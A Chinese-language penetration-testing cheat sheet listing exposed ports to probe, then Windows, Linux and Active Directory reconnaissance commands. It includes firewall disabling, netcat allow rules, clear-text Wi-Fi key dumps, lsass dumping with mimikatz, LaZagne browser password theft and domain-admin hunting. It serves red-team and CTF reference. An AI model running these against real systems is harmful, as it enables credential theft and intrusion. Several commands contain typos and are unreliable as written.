来自于互联网收集,用于备忘速查,可使用CTRL + F速查

重要端口及服务

port service description
21 FTP FTP控制端口,检查匿名登录、弱口令
22 SSH SSH远程登录协议,检查弱口令
23 Telnet Telnet终端仿真协议
53 DNS服务
80 Web 检查常见Web漏洞及管理后台
111 NFS 网络文件系统
389 LDAP 轻型目录访问协议,检查是否存在匿名访问
443 OpenSSL 检查心脏滴血及Web漏洞
445 SMB 检查是否存在MS17-010、MS08-067漏洞
512 Rexec 检查远程shell命令及暴力破解
873 Rsync 检查匿名登录、弱口令
1433 SQL Server 数据库服务
1521 Oracle 数据库服务
2049 NFS NFS未授权访问
2181 Zookeeper 分布式协调系统
2375 Docker Remote API未授权访问
3306 MySQL 数据库服务
3389 RDP 远程桌面
4848 GlassFish 未授权访问
5432 PostgreSQL 数据库服务
5601 Kibana 开源分析及可视化平台
5672 RabbitMQ 开源消息队列服务软件
5900 VNC 远程桌面控制软件,检查弱口令
5984 CouchDB 数据库服务
6379 Redis 数据库服务
7001 Weblogic Weblogic Console默认端口
8000-9090 Web 常见Web端口,运维一般将管理后台开在这些非80端口上
8080 Jenkins
8080 Kubernetes Api Server
8081 Apache-Flink
8089 Druid
8090 Confluence
8095 Atlassian Crowd
8161 Active MQ
8888 Jupyter Notebook
8983 Solr
9000 Fast-CGI 对外访问可直接Get shell
9060 Websephere 管理端口
9092 Kafka 开源流处理平台
9200 Elasticsearch(http) 全文搜索引擎
9300 Elasticsearch(tcp) 全文搜索引擎
10000 Virualmin/Webmin 服务器虚拟主机管理系统
10051 Zabbix 监控系统
11211 Memcache 分布式高速缓存系统,检查未授权访问
20880 Dubbo 阿里巴巴开源分布式服务框架
27017 MongoDB 数据库服务
28017 MongoDB 数据库服务(统计页面)
50030 Hadoop Hive
50070 Hadoop

Windows信息收集

查找文件 find/findstr

1
2
3
4
5
6
7
8
9
# 全盘查找文件,一定要加一个星号
for /r c:\ %i in (password.txt*) do @echo %i
for /r c:\ %i in (*.ini) do @echo %i

# 查找 C 盘中包含 password 字样的文件,一定要双引号
findstr /s /n "password" c:\*

# 查找 pwd.txt 中是否包含 password 字样,一定要双引号
find /N /I "password" pwd.txt

设置活动代码页编号 chcp

1
chcp 65001

查看系统信息 systeminfo

1
2
3
4
5
6
7
8
9
10
11
# 查看全部信息
systeminfo

# 查看英文版操作系统和版本信息
systeminfo | findstr /B /C:"OS name" /C:"OS Version"

# 查看中文版操作系统和版本信息
systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"

# 查看系统体系结构
echo %PROCESSOR_ARCHITECTURE%

查看环境变量 set

1
set

查看网络配置信息 ipconfig

  • 域内的DNS服务器即域控。
1
ipconfig /all

查看当前用户信息 whoami

1
whoami /all

查看路由表 route

1
route print

查看arp缓存表 arp

1
arp -a

查看用户信息 net user/localgroup

  • 通过分析本机用户列表,可以找出内网机器的命名规则。特别是个人机器的名称,可以用来推测整个域的用户命名方式。
1
2
3
4
5
6
7
8
9
10
11
# 查看指定用户信息
net user

# 查看本地组信息
net localgroup

# 查看本地管理员用户
net localgroup administrators

# 查看当前在线用户
query user || qwinsta

查看主机开启时间 net statistics

1
net statistics workstation

查看安装软件及版本信息 wmic product

1
wmic product get name,version

利用PowerShell收集软件版本信息

1
powershell "Get-WmiObject -class Win32_Product |Select-Object -Property name,version"

查看本机服务信息 wmic service

1
wmic service list brief

查看补丁信息 wmic qfe

1
2
3
4
5
# 查看补丁信息
wmic qfe list

# 查看补丁列表
wmic qfe get Caption,Description,HotFixID,InstalledOn

metasploit enum_patches

1
meterpreter > run post/windows/gather/enum_patches

windows exploit suggester

1
2
3
4
$ activate py27
$ python windows-exploit-suggester.py --update
$ pip install xlrd==1.2.0 -i https://pypi.tuna.tsinghua.edu.cn/simple
$ python windows-exploit-suggester.py --database 2022-03-16-mssb.xls --systeminfo systeminfo.txt

查看共享列表 wmic share

1
wmic share get name,path,status

查看进程列表 tasklist

1
2
3
4
5
6
7
8
# 查看进程列表
tasklist

# 查看当前进程列表所对应的用户身份
tasklist /v

# 查看是否有杀软
tasklist /svc

查看计划任务 schtasks

通过查看本机计划任务就能知道当前机器上某个时间会运行哪些软件了,就可以利用这一点来做定时任务劫持。

1
schtasks /query /fo LIST /v

查看端口信息 netstat

1
netstat -ano

查看防火墙配置 netsh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# 关闭防火墙
netsh firewall set opmode disable (Windows Server 2003 系统及之前版本)
netsh advfirewall set allprofiles state off (Windows Server 2003 系统之后版本)

# 查看防火墙配置
netsh firewall show config

# 修改防火墙配置(Windows Server 2003 系统及之前版本)
# 允许指定程序全部连接
netsh firewall add allowedprogram c:\nc.exe "allow nc" enable

# 修改防火墙配置(Windows Server 2003 之后系统版本)
# 允许指定程序连入
netsh advfirewall firewall add rule name="pass nc" dir=in action=allow program="C: \nc.exe"
# 允许指定程序连出
netsh advfirewall firewall add rule name="Allow nc" dir=out action=allow program="C: \nc.exe"
# 允许3389端口放行
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow

# 自定义防火墙日志存储位置
netsh advfirewall set currentprofile logging filename "C:\windows\temp\fw.log"

查看wifi信息

1
for /f  "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles')  do  @echo %j | findstr -i -v echo |  netsh wlan show profiles %j key=clear

查看网络代理信息

1
reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings"

查看PPTP配置信息

Windows系统拨号和宽带连接的配置信息存储在固定位置,路径如下:

1
%APPDATA%\Microsoft\Network\Connections\Pbk\rasphone.pbk

查看该文件即可获得PPTP连接的配置信息,包括服务器IP,不包含连接用户名和口令。

查看RDP远程桌面信息

1
reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default"

查看数据库密码

1
2
cd /web
findstr /s /m "password" *.*

查看服务信息 sc query

1
sc query

导出注册表信息 reg

1
2
reg export HKLM hklm.reg
reg export HKCU hkcu.reg

导出日志信息

  • 导出到本地使用LogParser查看:
1
2
3
copy C:\Windows\System32\winevt\Logs\System.evtx
copy C:\Windows\System32\winevt\Logs\security.evtx
copy C:\Windows\System32\winevt\Logs\application.evtx

查看hosts文件

1
C:\Windows\System32\drivers\etc\hosts

查看中间件信息

1
2
3
4
5
# 列出网站列表
%windir%\system32\inetsrv\AppCmd.exe list site

# 列出网站物理路径
%systemroot%\system32\inetsrv\appcmd.exe list vdir

查看组策略 gpresult

1
2
# 生成组策略报表
gpresult /h <filename> htm

查看启动项

1
2
# 使用注册表查询
reg query HKLM\Software\Microsoft\Windows\CurrentVertion\Run

抓取密码 mimikatz

1
2
3
4
5
procdump.exe -accepteula -ma lsass.exe lsass.dmp

mimikatz "privilege::debug" "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords" "exit"

mimikatz "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::sam" "exit"

浏览器密码

Chrome中保存的密码先被二次加密,然后被保存在SQLite数据库文件中,位置如下:

1
%LocalAppData%\Google\Chrome\User Data\Default\Login Data

可以使用USBStealter导出浏览器历史记录以及密码。或者使用https://github.com/AlessandroZ/LaZagne:

1
LaZagne.exe browsers-chrome

此工具也支持firefox以及系统中其他密码的导出。

查看回收站

1
2
cd C:\$Recycle.Bin\,使用dir /A查看隐藏文件
S-1 xxx 分别对应不同用户的回收站
1
procdump dump csrss.exe进程

查看域信息 nltest/net

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# 查看域控
nltest /dsgetdc:域名
nltest /dclist:domain-a

# 查看域之间的信任关系
nltest /domain_trusts

# 查看域用户
net user /domain

# 查看域用户组
net group /domain

# 查看域管理组成员
net group "domain admins" /domain

# 查看管理员登陆时间、密码过期时间,是否有登陆脚本、组分配等信息
net user domain-admin /domain

# 查看域时间及域服务器名字,/domain只能是在域机器上执行 workgroup工作组不能执行
net time /domain
-------------------
此命令有三种情况:
1). 存在域,当前不是域用户
显示: 发生系统错误5. 拒绝访问

2). 存在域,当前用户是域用户
显示: 域,和当前被害人机器上的时间

3). 不存在域
显示: 找不到域 workgroup的域控制器,请键入net help....

Linux信息收集

操作系统基本信息

1
2
3
4
5
6
7
8
9
10
uname -a			# 打印所有可用信息
uname -r # 内核版本信息
uname -n # 系统主机名字
uname -m # Linux内核架构
hostname # 主机名
cat /proc/version # 内核信息
cat /etc/*-release # 发布信息
cat /etc/issue # 发布信息
cat /proc/cpuinfo # cpu信息
df -a # 文件信息

系统环境信息

1
2
3
4
5
6
7
env					# 输出系统环境信息
set # 打印系统环境信息
echo $PATH # 输出环境变量中的路径信息
history # 打印历史命令
pwd # 当前路径
cat /etc/profile # 显示默认系统环境变量
cat /etc/shells # 显示可用的shell

系统服务信息

1
2
3
ps -aux				# 查看进程信息
top # 当前进程
netstat -anptu # 查看当前交互端口

系统软件信息

1
2
dpkg -l				# 查看已经安装的软件列表(debian/ubuntu)
rpm -qa # 查看已经安装的软件列表(redhat/centos)

通常程序都是通过-v或-V参数来获取版本信息,例如:

1
sudo -V

程序的一些配置文件路径,通常为.conf​、.ini​或其他后缀结尾:

1
2
3
4
5
/etc/apache2/apache2.conf			# apache默认配置文件
/usr/local/nginx/conf/nginx.conf # nginx默认配置文件
/usr/local/app/php5/lib/php.ini # php默认配置文件
/etc/my.cnf # mysql配置文件
/var/log/ # log目录下记录各种软件执行的日志

系统任务和作业

1
2
3
4
crontab				# 计划任务管理
/etc/crontab # 计划任务配置文件(可能记录了用户自行添加的任务)
jobs -l # 列出后台作业
ls /etc/cron* # 列出计划任务

crontab -l -u用户名​,不加-u​默认列出当前用户的计划任务,加-u​列出指定用户的计划任务(需要root权限)

用户信息和组信息

1
2
3
4
5
6
7
8
9
10
11
cat /etc/passwd		# 查看系统所有用户
grep -v -E "^#" /etc/passwd | awk -F: '$3==0{print $1}' # 查看超级用户
cat /etc/group # 查看系统所有组
cat /etc/shadow # 查看系统所有用户的hash(需要root权限)
users # 查看当前登陆的用户
who -a # 查看当前登陆的用户
w # 查看当前登陆的用户有那些人,以及它们执行的程序
last # 显示登陆用户的信息
lastlog # 显示系统中所有用户最近一次登陆的信息
lastlog -u %username% # 有关指定用户上次登录的信息
lastlog | grep -v "Never" # 以前登录用户的信息

用户和权限信息

1
2
3
4
whoami				# 查看当前用户
id # 列出当前用户详细信息
cat /etc/sudoers # 查看可以提升到root权限的用户
sudo -l # 列出当前用户可执行和不可执行的命令

系统网络和路由信息

1
2
3
4
5
6
7
8
9
ifconfig -a						# 列出网络接口信息
cat /etc/network/interfaces # 列出网络接口信息
arp -a # 列出系统arp表
route # 打印路由信息
cat /etc/resolv.conf # 查看dns配置信息
netstat -an # 打印本地开放信息
iptables -L # 列出iptables配置规则
cat /etc/services # 查看端口服务应黑
cat /etc/hosts # hosts文件信息

获取其他信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# 查找拥有SUID的文件
find / -perm -4000 -type f

# 查找root权限的SUID文件
find / -uid 0 -perm -40^0 -type f

# 查找可写目录
find / -perm -2 -type d

# 查看当前用户的历史记录
cat ~/.bash_history

# 查看用户ssh登陆信息
ls ~/.ssh/

# 查找备份压缩包文件
find / -name *.tar.gz或find / -name *.zip

# 查找filename.ext文件
find / -name filename.ext

# 全盘查找含有 flag 的文件
grep flag -r /

域内信息收集

判断是否存在域

ipconfig

1
2
3
4
5
# 查看网关IP地址、DNS IP地址、域名、本机是否和DNS服务器处于同一网段
ipconfig /all

# 解析域名IP地址,查看是否与DNS服务器为同一IP
nslookup test.com

查看系统详细信息 systeminfo

1
systeminfo | findstr 域

查看当前登录域与域用户 netconfig

1
net config workstation | findstr 域

判断主域 net time

1
net time /domain

收集域内基础信息

查看域 net view

1
net view /domain

查看域内计算机 net view

1
net view /domian:domain_name

查看域内用户组列表 net group

1
net group /domain

查看域管理员列表 net group

1
net group "domain admins" /domain

查看企业管理员列表 net group

1
net group "enterprise admins" /domain

查看域内置administrator组用户

1
net localgroup administrators /domain

查看域密码策略信息 net accounts

密码长短、错误锁定等信息。

1
net accounts /domain

查看域信任信息 nltest

1
nltest /domain_trusts

收集域用户和管理员信息

查询域用户列表 net user

1
net user /domain

查询域用户详细信息 wmic useraccount

1
wmic useraccount get /all
1
net user someuser /domain

查询存在的用户

1
dsquery user

收集域控制器信息

查看域控主机名

1
nltest /DCLIST:npc
1
nslookup -type=SRV _ladp._tcp
1
netdom query pdc

查看域控制器列表 net group

1
net group "domain controllers" /domain

查找域管理员进程

获取域管理员列表

1
net group "domain admins" /domain

列出本机的所有进程及进程用户

1
tasklist /v

定位域管理员

psloggedon查询

直接运行该程序即可:

1
> Psloggedon.exe

netview查询

1
netview.exe -d

netview参数:

1
2
3
4
5
6
-f filename.txt:指定要提取主机列表的文件
-e filename.txt:指定要排除的主机名的文件
-o filename.txt:将所有输出重定向到指定的文件
-d domain:指定要提取主机列表的域
-g group:指定要搜索的组名
-c:对已经找到的共享目录/文件的访问权限进行检查